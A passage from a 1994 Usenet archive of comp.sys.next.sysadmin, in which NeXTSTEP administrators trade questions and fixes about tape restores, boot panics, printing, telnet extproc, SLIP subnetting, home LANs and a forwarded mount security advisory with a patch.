SIIG I/O card, Keytronic KT 2000 keyboard, NEC CD-ROM, unknown
display adaptor.
--
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* W. W. Hansen Experimental Physics Laboratory (HEPL) *
* Stanford University *
* Bitnet: PLN@SLACVM Internet: pln@egret0.stanford.edu *
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From: jmh@info.polymtl.ca (Jean-Marc Heneman)
Subject: restore and rrestore problems
Message-ID: <1994May6.153508.22645@vlsi.polymtl.ca>
Summary: restore and rrestore sometimes give Tape/disk read error: Unknown error
Keywords: RESTORE RRESTORE TAPE/DISK_READ_ERROR_UNKNOWN_ERROR
Sender: news@vlsi.polymtl.ca (USENET News System)
Organization: Ecole Polytechnique de Montreal
Date: Fri, 6 May 1994 15:35:08 GMT
I have the problem using restore and rrestore :
ccc1:17# rrestore tvf ccc:/dev/rst0
Verify tape and initialize maps
read: I/O error
Tape/disk read error: Unknown error
(sometimes it works as expected)
any hint?
--
jmh
jean-marc heneman = jmh@info.polymtl.ca
if mail bounces, try jmh@aircanada.ca
I prefer ASCII mail for now, but you can send me NextMail for attachment
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From: blake015@mc.duke.edu(Denise Blakeley)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Kernel panic on boot (Intel)
Date: 6 May 1994 18:46:24 GMT
Organization: Duke University; Durham, N.C., USA
Message-ID: <2qe3a0$14m@news.duke.edu>
References: <2qe0q9$s54@nntp2.Stanford.EDU>
Patrick L. Nolan writes
>
>
> We got our new Intel 486/66 with NeXTStep 3.2 this week. It worked
> for two days. Now it fails to boot with a kernel panic while
> booting. The messages look like this:
> registering: kmDevice0
> rootdev 600, howto 0
> panic: (Cpu 0) rwip type
> <stuff omitted>
> Kernel panic exception (6,3,1)
We've had similar incidents with our Dell 486/66s. Try rebooting again; it may
take two or three retries, but eventually it boots okay (at least on ours!)
Denise
--
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Duke Med Center Info Systems | to banging one's head against a wall,
Durham, NC | but with fewer opportunities for
(919) 286-6468 W | reward.
blake015@mc.duke.edu | NeXTMail welcome!
From: doug@tango.ccmrc.ucsb.edu (Douglas Scott;Sysadm)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: X11R6 client/server port ?
Date: 6 May 1994 19:12:58 GMT
Organization: Center for Computer Music Research and Composition
Sender: doug@tango (Douglas Scott;Sysadm)
Distribution: world
Message-ID: <2qe4rq$fk2@hub.ucsb.edu>
References: <2qbbsg$2nb@mckinley.cit.macalstr.edu>
Originator: doug@tango
In article <2qbbsg$2nb@mckinley.cit.macalstr.edu>, akonstan@math.macalstr.edu (Alexander V. Konstantinou) writes:
|> Is anyone out there working on a port of X11R6 for NeXTSTEP ?
|>
|> --
|> Alexander V. Konstantinou akonstan@math.macalstr.edu (NeXTMail OK)
Patience, patience! I will most likely do a port of MouseX at some point, but I have sworn
to wait until the first ten fixes come out for R6 before I begin. Perhaps the
commercial firms will do it sooner...if they feel there is $$$ in the prospect.
--
Douglas Scott | Senior Development Engineer
Tel: (805) 893-8352 | Center for Computer Music Research and Composition
Internet (NeXTMail ok): | Music Department
<doug@ccmrc.ucsb.edu> | University of California, Santa Barbara
Newsgroups: comp.sys.next.sysadmin
From: jmh@info.polymtl.ca (Jean-Marc Heneman)
Subject: size in dump
Message-ID: <1994May6.232959.28443@vlsi.polymtl.ca>
Sender: news@vlsi.polymtl.ca (USENET News System)
Organization: Ecole Polytechnique de Montreal
Date: Fri, 6 May 1994 23:29:59 GMT
When I dump on a Python tape drive with a size of 1250000, dump reports
that I need 0.01 tape. But I know my file system takes about 250MB.
2GB/1600BPI= 1250000 feet approx isn't it?
the right answer of dump should by > 0.10 tape...
what's wrong?
--
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if mail bounces, try jmh@aircanada.ca
I prefer ASCII mail for now, but you can send me NextMail for attachment
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From: mcullen@symantec.com (Michael Cullen)
Newsgroups: comp.sys.next.sysadmin
Subject: HELP! MY PRINTER IS DEAD!
Date: 7 May 1994 01:52:29 GMT
Organization: Symantec Corporation
Message-ID: <2qes8tINNfm6@grumpy.symantec.com>
I have a '040 mono slab. I tried to use my printer today and it wouldn't
turn on. I have left the power unplugged so it wouldn't startup up every
time I fired up my NeXT. I upgraded to NeXTStep 3.2 a couple of months
ago. Maybe it was something stuped like I should have left the printer on
during the upgrade!?!? When I go into the print manager, it shows a
'Local_Printer' entry with 'unavailable' option selected. The choices of
printers are all grayed out as well.
Any clues????
Michael
From: grio@next.com (Dan Grillo)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to blow away NeXTboot?
Date: 7 May 1994 04:23:28 GMT
Organization: Technical Support, NeXT Computer, Inc.
Message-ID: <2qf540$2tb@rosie.next.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Versions: dmail 1.9b/makemail 2.2a
Joe Keenan writes in comp.sys.next.sysadmin:
> In article <1994May4.161803.17184@cs.uno.edu> david@smobject.com (David
> Vazquez) writes:
> >
> >I've been able to get rid of the NeXT boot by installing DOS 6.2. I have a
> >hunch that if the DOS partition is the first on the drive, you can get rid of
> >NeXTboot by going into DOS and doing a 'sys c:'.
>
> I think I've already posted this answer 3 times.
Don't forget this and many other gems are answered by NeXT Tech Support
in NeXTanswers.
This one is in 1470_Tech_Support_Frequently_Asked_Questions.rtf
--Dan
From: luethje@zeus.theo-physik.uni-kiel.de (Norbert Luethje)
Newsgroups: comp.sys.next.sysadmin
Subject: Bootproblem with Seagate ST1480N [black HW]
Date: 7 May 1994 11:47:29 GMT
Organization: Department of Theoretical Physics, University of Kiel, Germany
Message-ID: <2qfv4h$6q@solid.theo-physik.uni-kiel.de>
Hi,
perhaps someone is able to help us with the following problem:
The 1480 doesn't start its motor immediatly after power on. This is no
problem if it's the second drive, the station waits for the drive to get
ready and everything works fine. But if it's the bootdisk, the station
stop with 'SCSI BUS Hung' and the drivemotor doesn't start.
We have the Jumpernumbers and -names (so you can refer to these), but no
further functional description.
Many thanx, Norbert.
--
Norbert Luethje
Institut fuer Theoretische Physik
Christian-Albrechts-Universitaet zu Kiel
Germany
email: luethje@theo-physik.uni-kiel.d400.de (NeXTMail welcome!)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: jspears@weston.com (Wes Spears)
Subject: Audix and NEXTSTEP
Message-ID: <1994May6.182211.9305@weston.com>
Sender: jspears@weston.com (Wes Spears)
Date: Fri, 6 May 1994 18:22:11 GMT
Has anyone ever heard of any type of app that could use NEXTSTEP as a
front end to deal with Audix voice mail.
It seems that if the system is storing the voice mail on a machine, it
must be storing them in some logical manner. Further, we should be able
to look at, convert if necessary, and then play the voice mail out via
NEXTSTEP.
Please let me know both what you know of this idea, and any apps that
exists to deal with it.
Thanks
Wes
--
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Newsgroups: comp.sys.next.sysadmin
From: fms@chemelex .com (Fred Schenkelberg)
Subject: Re: cd-rom public?
Message-ID: <CpEDAL.8v@chemelex.com>
Sender: fms@chemelex.com (Fred Schenkelberg)
Organization: Research Group of Chemelex Division of Raychem Corporation
References: <CpB0yp.LLM@xexos.com>
Distribution: ba,na,usa,world
Date: Fri, 6 May 1994 20:08:45 GMT
thanks for the reply, you're answer assumed we have a network of
NeXT's (I wish this was true) I'm a lone NeXT in a sea of Mac's
and Intel's connected with a ethernet lan running Novell's
netware... Using nfs would seems to work if the target pc has
some import nfs capabilitiy...
any other ways using novell's stuff?
Mark Chamberlain writes
> In article <CpAC9u.1BF@chemelex.com> fms@chemelex .com (Fred
Schenkelberg)
> writes:
> > Hi, is it possible to set up a cd player to a NeXT and make
it
> > public (like a public printer) ??
> >
>
> Its not as easy as a printer. You can put in a particular
disk, and have that
> share across the network. Insert the disk, and then use
NFSManager to make it
> available. On your client workstations, use NFSManager again
to mount that
> particular disk.
>
> This is fine for installations, or for particular use with a
particular disk
> (like when doing certain kinds of upgrade), but not that
useful, it has to be
> fixed to one disk, one mount etc.
>
> --
> Mark Chamberlain +44 71 237 4535
> Xexos Ltd fax +44 71 231 0844
> London mark@xexos.com
--
Fred Schenkelberg
From: pln@egret0.Stanford.EDU (Patrick L. Nolan)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Kernel panic on boot (Intel)
Date: 7 May 1994 16:57:13 GMT
Organization: Stanford University
Message-ID: <2qgh99$bvf@nntp2.Stanford.EDU>
References: <2qe0q9$s54@nntp2.Stanford.EDU> <2qe3a0$14m@news.duke.edu>
Denise Blakeley (blake015@mc.duke.edu) wrote:
: Patrick L. Nolan writes
: >
: > We got our new Intel 486/66 with NeXTStep 3.2 this week. It worked
: > for two days. Now it fails to boot with a kernel panic while
: > booting. The messages look like this:
: > registering: kmDevice0
: > rootdev 600, howto 0
: > panic: (Cpu 0) rwip type
: > <stuff omitted>
: > Kernel panic exception (6,3,1)
: We've had similar incidents with our Dell 486/66s. Try rebooting again; it may
: take two or three retries, but eventually it boots okay (at least on ours!)
I'm afraid that I've tried it about 20 times with various tweaks, such
as single-user, reduced memory, disconnected from the net, power cycled,
etc. I also opened the box and reseated the memory. Also I turned off
the external cache. Still the same. This looks serious. Do I have to
re-install the OS?
From: dnelson@scrinext.scri.fsu.edu (Dru Nelson)
Newsgroups: comp.sys.next.sysadmin
Subject: Telnet problem - extproc ?
Date: 7 May 1994 19:45:38 GMT
Organization: Florida State University
Message-ID: <2qgr52$67f@mailer.fsu.edu>
Hello,
When I log into my Next machines from some machines on the network
an "extproc" gets turned on the tty device. It causes the flow
control on the subsequent telnet connection to go awry.
Does anyone know what causes this??
Dru
From: gt6963c@prism.gatech.edu (John)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.hardware,comp.sys.next.misc
Subject: Still having CD audio problems
Date: 7 May 1994 17:53:48 -0400
Organization: Georgia Institute of Technology
Message-ID: <2qh2lc$feh@acme.gatech.edu>
Ok.. I got the PASPlus driver as everyone suggested. And now Root can
play CD's and I can hear it through my sound card..but.. My user account
still can't do it. I still get "CANNOT OPEN CDPlayer" from cdaudio.util.
I'm getting REALLY frustrated. I don't want to have to log in as root
everytime I want to play a cd.
John
--
John "Kzin" Rudd gt6963c@prism.getech.edu (ex-kzin@cc.gatech.edu)
Ascii Mail only (no Nextmail) (ex-kzin@ucscb.ucsc.edu)
========Intel: Putting the backward in backward compatable.===============
From: zrg50373@helpdesk.rus.uni-stuttgart.de (T. Hennerich)
Newsgroups: comp.sys.next.sysadmin
Subject: SLIP, LAN and Subnetting
Date: 8 May 1994 00:14:33 GMT
Organization: Comp.Center (RUS), U of Stuttgart, FRG
Message-ID: <2qhat9$1hbb@info2.rus.uni-stuttgart.de>
Hi all,
i have a LAN with an NeXTcube and a 486er NSI. Since last
week we have the chance to use SLIP and we got a part of
a class-c network.
I installed the SLIP-Package from TransSys on the Cube
changed the IP-Adresses, the netmask and the broadcast-
adress and have no problems to use telnet, ftp etc. on
the NeXTCube.
The 486er doesn't work at all 8-(
Here's a part of the /usr/adm/messages:
May 8 01:42:08 dose mach: en0: setting netmask to fffffff8, received from 193.197.11.17
*.11.17 is the Cube
May 8 01:42:11 dose lookupd[109]: netinfo sleeping: RPC: Unable to receive; errno = Connection reset by peer
Here the 486er hangs and I must press ^C to continue.
May 8 01:57:25 dose autonfsmount: Can't get my address
May 8 01:57:27 dose syslog: NetInfo Problem: Communication failure
May 8 01:57:28 dose reboot: Reboot complete
May 8 01:57:29 dose ntpd[114]: multi_call timeout, sleeping
May 8 01:57:39 dose loginwindow[183]: loginwindow: netinfo problem 9999, - Communication failure
May 8 01:57:42 dose loginwindow[183]: Assertion failed: App Kit error: Error messaging drag service
May 8 01:57:48 dose loginwindow[183]: loginwindow: netinfo problem 9999, - Communication failure
May 8 01:57:48 dose loginwindow[183]: loginwindow: netinfo problem 9999, - Communication failure
May 8 01:57:50 dose loginwindow[189]: loginwindow: running /usr/lib/NextStep/Workspace.app/Workspace
May 8 01:57:50 dose Workspace[189]: logged in
May 8 01:57:56 dose mach: FloppyCntIo:flushIntMsgs:Stray Interrupt
May 8 01:57:58 dose mach: DOS File System: Initialized
May 8 01:59:55 dose inetd[137]: Cannot register service: RPC: Timed out
Then the machine comes up with the login-panel because it couldn't
find the Cube which is the Netinfo-Server.
Perhaps the problem is the Subnetting and the resulting
netmask of 255.255.255.248 and the broadcast of 193.197.11.23 ?
Has anybody experience with such problems?
Thankyou in advance
Tobi
--
MM
<' \__/|
\_ _/
__][___ Tobias.Hennerich@rus.uni-stuttgart.de Leben am Anschlag
From: mcullen@symantec.com (Michael Cullen)
Newsgroups: comp.sys.next.sysadmin
Subject: More info to a Printer that doesn't work
Date: 8 May 1994 00:08:18 GMT
Organization: Symantec Corporation
Message-ID: <2qhahiINNkna@grumpy.symantec.com>
After doing some research in the Librarian, I found that there is a
problem with the NetInfo database (after upgrading to 3.2). Nidump/Niload
will not work on the new database printcap entry due, in part, to it's new
structure as a directory. Any other suggestions or directions as to what
many of the two letter fields in the netinfo database mean??
Michael
Newsgroups: comp.sys.next.sysadmin
From: dyaeb@SLAC.Stanford.EDU (David Aston)
Subject: Problem with configuration of NeXTs on a subnet
Message-ID: <CpGprs.I9A@unixhub.SLAC.Stanford.EDU>
Sender: news@unixhub.SLAC.Stanford.EDU
Organization: Stanford Linear Accelerator Center
Date: Sun, 8 May 1994 02:33:27 GMT
The title of my last post didn't make it clear that I had a problem.
Apologies for the waste of bandwidth, perhaps this will reach someone who
knows the answer...
We have run into a problem when reconfiguring some NeXTs after a network
change which moves them onto a subnet.
On the subnet we designated one machine as a clone netinfo and configuration
server, and provided all its information explicitly in /etc/hostconfig. This
was no problem, and seems to work correctly.
For the other machines on the subnet, we configured HOSTNAME and INETADDR to
be -AUTOMATIC-, but gave explicitly (the same for the entire subnet) ROUTER,
IPNETMASK and IPBROADCAST. The motivation for trying to do it this way is
that cron can be used to change the /etc/hostconfig files on these machines,
and they can then be rebooted remotely. BUT, done like this, they hang during
the reboot process, apparently because the netinfo/configuration server does
not supply HOSTNAME, and everything goes downhill from there.
If we try "fully automatic", ie
HOSTNAME=-AUTOMATIC-
INETADDR=-AUTOMATIC-
ROUTER=-ROUTED-
IPNETMASK=
IPBROADCAST=-AUTOMATIC-
they boot successfully, but pick up the wrong information for ROUTER,
IPNETMASK and IPBROADCAST.
Does anyone know of a solution to this? We know that we can configure each
machine individually, but it's a pain. This time there were only a half-dozen
machines involved, but soon the next subnetting will involve about thirty.
AdvThankSance...
--
Dave Aston......Internet: dyaeb@slac.stanford.edu; BitNet: dyaeb@slacvm
SLAC, Stanford U, and DOE are not responsible for _anything_ I say.
Newsgroups: comp.sys.next.sysadmin
From: powhwee@iti.gov.sg (Tan Pow Hwee)
Subject: Printing problem
Message-ID: <CpH6C4.4o3@exodus.iti.gov.sg>
Sender: news@exodus.iti.gov.sg (USENET News System)
Organization: National Computer Board, Singapore
Date: Sun, 8 May 1994 08:31:16 GMT
Hi,
I have problem printing to a Postscript printer on the network.
The problem seems to be the the control file generated contains a
line R400 which is not recognized by our Sparc 10 print server.
How do I get my system not to generate that control line?
I am running NS 2.0 on a 030 cube (yes, it's old, but it works
great!). Thanks for any help!
ph
From: tlm@ameslab.gov (Tom Marchioro)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Telnet problem - extproc ?
Date: 8 May 1994 08:50:57 GMT
Organization: Iowa State University, Ames, Iowa
Distribution: world
Message-ID: <2qi95h$14u@news.iastate.edu>
References: <2qgr52$67f@mailer.fsu.edu>
Dru Nelson writes
[]
[] Hello,
[]
[] When I log into my Next machines from some machines on the network
[] an "extproc" gets turned on the tty device. It causes the flow
[] control on the subsequent telnet connection to go awry.
[]
[] Does anyone know what causes this??
[]
[] Dru
I asked this question a couple of years ago, when I found out that putting
stty -extproc
in my .login file got rid of problems logging into the NeXT from other
machines, particularly Suns. The trick was passed to me as a piece of
"unix folklore" by some kind soul. Thinking I might learn something
useful, I went delving into the origin of the command. Could find nothing
in the documentation, and when I aksed about it in this newsgroup the
answers I got were
A) roughly half a dozen "I use it too, I don't know why and cannot
remember who told me to do this"
B) One or two answers that were so technical (roughly two pages long) that
they made essentially no sense to me.
No doubt your post will spawn the same. Let mine be the first response in
category (A) :)
Hope this helps a bit --- Tom
--
===========================================================================
Dr. Thomas L. Marchioro II Two-wheeled theoretical physicist
Applied Mathematical Sciences 515-294-5543
Ames Laboratory 515-233-1216 (home)
Ames, Iowa 50011 tlm@ameslab.gov
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Telnet problem - extproc ?
Date: 8 May 1994 09:08:26 GMT
Organization: San Francisco State University
Message-ID: <2qia6a$agq@nic-nac.CSU.net>
References: <2qgr52$67f@mailer.fsu.edu>
All NEXTSTEP Releases from 2.0 through 3.2 ship with *broken*
telnet and telnetd executables (based on "bad" June 1990 BSD
sources). The major problems in the publicly available sources
were corrected within 3 months--but NeXT never upgraded, and
continues to ship defective software.
It's normal for extproc to be set when both sides support the
LINEMODE option (RFC 1184)--which, if implemented correctly, can
result in a considerable performance advantage--especially
valuable when using low-bandwidth [CSLIP/PPP] connections.
This should be in the FAQ somewhere...
-=EPS=-
From: gorgon@crl.com (Zach Copley)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.mac.comm,comp.sys.mac.system,comp.protocols.tcp-ip,ca.unix
Subject: Setting up a home LAN with NEXSTEP/Unix
Date: 8 May 1994 02:39:53 -0700
Organization: Pigdog
Message-ID: <2qic19$479@crl.crl.com>
Summary: Setting up a home LAN with NEXSTEP/Unix (and Macs)
Keywords: LAN, Mac, Telnet
Setting up a home LAN with NEXSTEP/Unix
I'm trying to setup a local area network in my house using my
NEXTSTEP machine. I want to have the NEXTSTEP machine be a UNIX host
machine, and let all of the other computers in the house telnet in
over ethernet to use shell accounts.
I have a Mac II and a Mac Quadra 700, both on ethernet, and they both
have MacTCP 2.0.4. I also have a DOS machine on ethernet, but I
don't care about that one as much. The ethernet network is a simple
daisy chain, terminated at both ends.
MacTCP wants an IP address for its machine, a gateway address for
routing, whether to obtain the address manually, dynamically, or from
a server, and a subnet mask (net, subnet and node). It also wants
domain name servers, but that doesn't seem to be manditory. I
haven't been able to figure out the right numbers to put in. The IP
address for my NEXTSTEP machine is 192.187.157.37. I also run SLIP
on it to do e-mail.
All that I want to do is run NCSA Telnet and FTP so that my Macs can
access my NeXT machine. I can't get either application to work. The
NeXT machine wont respond. I don't want to run something like Novell
(overkill for me). I want to connect all the machines with TCP/IP
and make the NeXT machine the central machine.
Is this something very complicated to do? Can anyone help me?
Please?
Thanks,
Zach
From: Greg Notch
Newsgroups: comp.sys.next.sysadmin
Subject: SECURITY: Hole in mount (2) w/ fix
Date: 6 May 1994 05:34:27 GMT
Organization: Allegheny College
Message-ID: <2qckt3$484@mustang.alleg.edu>
Hello-
I got this off of one of the LISTSERVs I belong to, and its pretty
viscious. I have no superuser access and I made this work. (yes I told my
sysadmin about it) I could overwrite any directory I could see on the network.
Fortunately, the fix is easy. Here are the original messages:
A serious security vulnerability exists in NEXTSTEP 3.2
and previous releases (going at least as far back as 2.1)
that affects networked multiuser systems.
-Greg
---
*****************************************************************************
***** Greg Notch * "Intolerance leads to bigotry, *****
***** Box 475 Allegheny College * bigotry leads to hatred, *****
***** Meadville, PA 16335 * hatred leads to violence, *****
***** School: (814) 332-3027 * violence leads to death" *****
***** Home: (518) 393-7712 * -Elie Wiesel *****
***** Email: <notchg@alleg.edu> * *****
*****************************************************************************
-------Begin Forwarded Messages---------------------------
This package contains a description of the problem along with
source code for a patch to neutralize it.
N.B.: I regret that this could only be verified on Motorola
machines; the Intel system that had been loaned to us went away
at the end of April, and we have no plans to replace it.
1) uudecode this message to extract nfsmntfix.tar.Z
size 6061 BSD sum 10770 md5 cb3e5d5598a43fa6de81aa14986580b1
2) zcat nfsmntfix.tar|tar xvopBf -
View the README file.
-=EPS=-
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Newsgroups: comp.sys.next.sysadmin
From: Miles@weighton.demon.co.uk ("M.A. Pearson")
Subject: Tool Command Language tcl7.3 & tclX7.3 compile?
Organization: Computec Systems Support Ltd
Date: Sun, 8 May 1994 12:49:43 +0000
Message-ID: <768401383snz@weighton.demon.co.uk>
Sender: usenet@demon.co.uk
Anyone out there managed to compile & install tcl7.3 & tclX7.3?
I need to install these in order to get Louis Mamakos Transys PNI to run,
and therby get talking to the net from within NS3.1 for intel.
I have read the port guidance file but simply cannot get the compile to run
successfully. Its probably something silly and rather obvious if your an
experienced developer (which I'm not!).
For those that (might) be curious, the file tcl7.3.tar.gz is on
ftp.NeoSoft.COM in /pub/tcl/distrib/ as it tclX7.3a.tar.gz which is the
extension of the original tcl.
Any help would be much appreciated.
--
Miles Pearson
miles@weighton.demon.co.uk
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Tool Command Language tcl7.3 & tclX7.3 compile?
Date: 08 May 1994 15:53:32 GMT
Organization: me organized? That's a joke!
Message-ID: <ROBERT.94May8165332@steffi.demon.co.uk>
References: <768401383snz@weighton.demon.co.uk>
To: Miles@weighton.demon.co.uk ("M.A. Pearson")
In-reply-to: Miles@weighton.demon.co.uk's message of Sun, 8 May 1994 12:49:43 +0000
<Miles@weighton.demon.co.uk> writes:
>Anyone out there managed to compile & install tcl7.3 & tclX7.3?
>I need to install these in order to get Louis Mamakos Transys PNI to run,
NO YOU DON'T!!!!!
His binaries are already linked against the library.
--
"Emacs isn't pretty. It's functional!"
(ASCII for text only messages)
Newsgroups: comp.sys.next.sysadmin
From: henry@trilithon.com (Henry McGilton)
Subject: Printer on Intel System -- Mouse Freezes
Message-ID: <1994May8.024209.597@trilithon.com>
Keywords: printer, mouse,
Sender: henry@trilithon.com
Organization: Trilithon Software
Date: Sun, 8 May 1994 02:42:09 GMT
There's probably a NeXT Answer or a FAQ on this one, but I couldn't
find anything relevant. I've been trying to hook up a LaserWriter
IINTX or a LaserWriter IIg to a NEXTSTEP Intel 3.1 system -- Epson
Progression box.
Every time I do anything with the printer, the mouse freezes up.
There's ``obviously'' some collision between the mouse port and
the printer port. And of course then I have to reset the system
and wait ten minutes while it fiddles with the disks.
Now, the configuration guide instructions say something like:
``Use your computer's setup program to make sure your serial
ports are configured as
o first serial port as IRQ 4 and port 0x3F8
o second serial port as IRQ 3 and port 0x2F8
It then goes on to say to connect the mouse to the first serial port.
Now all this would be fine and dandy if in fact the setup program
gave me choices like those listed above, but it doesn't. The setup
program babbles about COM1 ports and no other options are offered.
So I'd be grateful if anybody has any clues on this one. Clearly,
``The Printing Problem'' on UNIX hasn't quite been solved yet.
Thanks,
........ Henry
From: brent@shady.remote.ualberta.ca (Brent Swekla)
Newsgroups: comp.sys.next.sysadmin
Subject: PNI 1.8 (was Re: Tool Command Language tcl7.3 & tclX7.3 compile?)
Date: 8 May 1994 17:35:27 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2qj7sv$orf@quartz.ucs.ualberta.ca>
References: <ROBERT.94May8165332@steffi.demon.co.uk>
In article <ROBERT.94May8165332@steffi.demon.co.uk>
robert@steffi.demon.co.uk (Robert Nicholson) writes:
> <Miles@weighton.demon.co.uk> writes:
>
> >Anyone out there managed to compile & install tcl7.3 & tclX7.3?
> >I need to install these in order to get Louis Mamakos Transys PNI to
run,
>
> NO YOU DON'T!!!!!
>
> His binaries are already linked against the library.
Uh, have you tried PNI 1.8? For me (and the original poster, presumably)
it crashes looking for some tcl init file (not included in the 1.8
distribution) in /usr/local/<somewhere>. Version 1.7 works fine.
Could this be a bug?
--
Brent Swekla "Never put off until tomorrow what you can do
swekla@ee.ualberta.ca the day after tomorrow" - Mark Twain
Newsgroups: comp.sys.next.sysadmin
From: brit@wagner.Physics.McGill.CA (Dave Britton)
Subject: How to view PS files via WWW ???
Message-ID: <1994May8.175246.22781@sifon.cc.mcgill.ca>
Sender: news@sifon.cc.mcgill.ca
Organization: McGill University
Date: Sun, 8 May 1994 17:52:46 GMT
HI:
When I retieve a ps file with WorldWideWeb.app it
displays the postscript commands rather than
fireing up Preview.app and displaying the
postscript document which is what I would
expect it to do... after browsing through all the
help I couldn't find a clue about this.
From: csmith@blackplague.gmu.edu (Christian Smith)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.mac.comm,comp.sys.mac.system,comp.protocols.tcp-ip,ca.unix
Subject: Re: Setting up a home LAN with NEXSTEP/Unix
Followup-To: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.mac.comm,comp.sys.mac.system,comp.protocols.tcp-ip,ca.unix
Date: 8 May 1994 13:35:26 GMT
Organization: George Mason University, Fairfax, Virginia, USA
Message-ID: <2qipqu$m29@portal.gmu.edu>
References: <2qic19$479@crl.crl.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Zach Copley (gorgon@crl.com) wrote:
: Setting up a home LAN with NEXSTEP/Unix
:
: I'm trying to setup a local area network in my house using my
: NEXTSTEP machine. I want to have the NEXTSTEP machine be a UNIX host
: machine, and let all of the other computers in the house telnet in
: over ethernet to use shell accounts.
:
Ok, here is what you should do. Since the NeXT is using Slip to get to the
outside world, it has TWO network interfaces, call them slip0 and en0. Each
of these should have its own ip address. The slip0 interface will get its
ip from the slip server you connect to. The en0 interface will get its ip
address from /etc/hostconfig. Now, you have two choices
1) set up an internal ethernet network with no access to the outside world.
2) set up an internal ethernet network with access to the outside world.
Choice one is easy, choice two involves setting routed on the next, and getting
you slip prrovider to set you up with a subdomaine, which they might or might
not be willing to do. I can't help you out to much with this one.
As for choice one, do it this way....
Using /etc/hostconfig, set up as
HOSTNAME=somename
INETADDR=xxx.xxx.xxx.1
ROUTER=same as above
IPNETMASK=255.255.255.0
IPBROADCAST=xxx.xxx.xxx.255
NETMASTER=-YES-
Now, you have a router and netmask to give the mac, ie the same as the above.
Ip address for the other machines in you home ethernet should be of the form
xxx.xxx.xxx.n where 1<n<255
You can also set the next up to run bind and named and then have nameservice
for your home network, but you probably don't need this.
This should all work. Since your home network won't have any connection to
the outside world, it doesn't matter what the ip network you chose is.
If you want to try to get the home network connected to the outside world,
talk to your slip provider, and get copies of the Nutshell books on
routing, and named/bind as you will need them. Frankly, I doubt it is worth
the trouble.
Amanda (or others) if I goofed on here please let me know, this is coming off
the top of my head...
Chris
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Printer on Intel System -- Mouse Freezes
Date: 8 May 1994 19:42:59 GMT
Organization: San Francisco State University
Message-ID: <2qjfc3$3s6@nic-nac.CSU.net>
References: <1994May8.024209.597@trilithon.com>
1) Intel sucks.
2) NEXTSTEP 3.2 is a vast improvement over 3.1. Upgrade!
3) Serial mice don't work well. Install a bus mouse.
4) The best way to connect a LaserWriter IIg to _anything_ is
Ethernet. (Yes, I realize there's currently no decent
EtherTalk Phase 2 software for NEXTSTEP. This won't always be
the case.) Note that if you have a Mac running either
System 7 or A/UX on the same Ethernet, you can have it
translate BSD lpr protocol to PAP.
5) Intel sucks.
6) There is no "printing problem." :-)
-=EPS=-
Newsgroups: comp.sys.next.sysadmin
From: Miles@weighton.demon.co.uk ("M.A. Pearson")
Subject: Re: Tool Command Language tcl7.3 & tclX7.3 compile?
References: <ROBERT.94May8165332@steffi.demon.co.uk> <2qj7sv$orf@quartz.ucs.ualberta.ca>
Organization: Computec Systems Support Ltd
Date: Sun, 8 May 1994 20:06:04 +0000
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yIn article <2qj7sv$orf@quartz.ucs.ualberta.ca> swekla@ee.ualberta.ca writes:
> In article <ROBERT.94May8165332@steffi.demon.co.uk>
> robert@steffi.demon.co.uk (Robert Nicholson) writes:
> > <Miles@weighton.demon.co.uk> writes:
> >
> > >Anyone out there managed to compile & install tcl7.3 & tclX7.3?
> > >I need to install these in order to get Louis Mamakos Transys PNI to
> run,
> >
> > NO YOU DON'T!!!!!
> >
> > His binaries are already linked against the library.
>
> Uh, have you tried PNI 1.8? For me (and the original poster, presumably)
> it crashes looking for some tcl init file (not included in the 1.8
> distribution) in /usr/local/<somewhere>. Version 1.7 works fine.
>
> Could this be a bug?
> --
> Brent Swekla "Never put off until tomorrow what you can do
> swekla@ee.ualberta.ca the day after tomorrow" - Mark Twain
>
Thanks for the info
I get it (PNI 1.8) to install o.k. but find it fails after config when
attempting to run the pnirun shell script.
Terminal o/p is ;
./pnirun config/pni0.config
Error: Can't access initialization file "/usr/local/tclX/7.3a/TclInit.tcl"
Override directory containing this file with the environment variable:
"TCL_LIBRARY"
Device pni0 is busy
Anyhow i'll try version 1.7 if I can find a copy.
--
M.A. Pearson
From: matthewm@sgate.com (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: inodes and news spool
Date: 8 May 1994 09:37:23 -0400
Organization: Southgate Internet Host
Distribution: world
Message-ID: <2qipuj$35h@sgate.com>
References: <2pls4i$j1s@news.iastate.edu> <2pm5fc$o9d@agate.berkeley.edu>
In article <2pm5fc$o9d@agate.berkeley.edu> izumi@pinoko.berkeley.edu writes:
>I had the same problem of too few i-nodes on a newly intialized drive.
>I am afraid the '-i' option won't do it because newfs will complain
>that it can't do it, like:
> Warning: 4096 bytes per inode impossible due
> to cylinder group size, using 22235 bytes per inode
> Reduce cylinder group size to reduce bytes per inode.
Thanks for all the responses; turns out that newfs is just passing its
arguments to mkfs without checking them, and *mkfs* is the one complaining.
I'm already at 8 cyls/group... So I'm stuck with too few inodes.
>Izumi Ohzawa
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"Jesus saves...but Gretzky gets the rebound!"
-- Daniel Hinojosa (hinojosa@hp-sdd)
From: dnelson@scrinext.scri.fsu.edu (Dru Nelson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Telnet problem - extproc ?
Date: 8 May 1994 23:55:05 GMT
Organization: Florida State University
Message-ID: <2qju4p$hkm@mailer.fsu.edu>
References: <2qgr52$67f@mailer.fsu.edu>
Thanks for all or the replies (in mail as well). I was turning
the extproc off a while ago. I just had the urge the other day to
understand why.
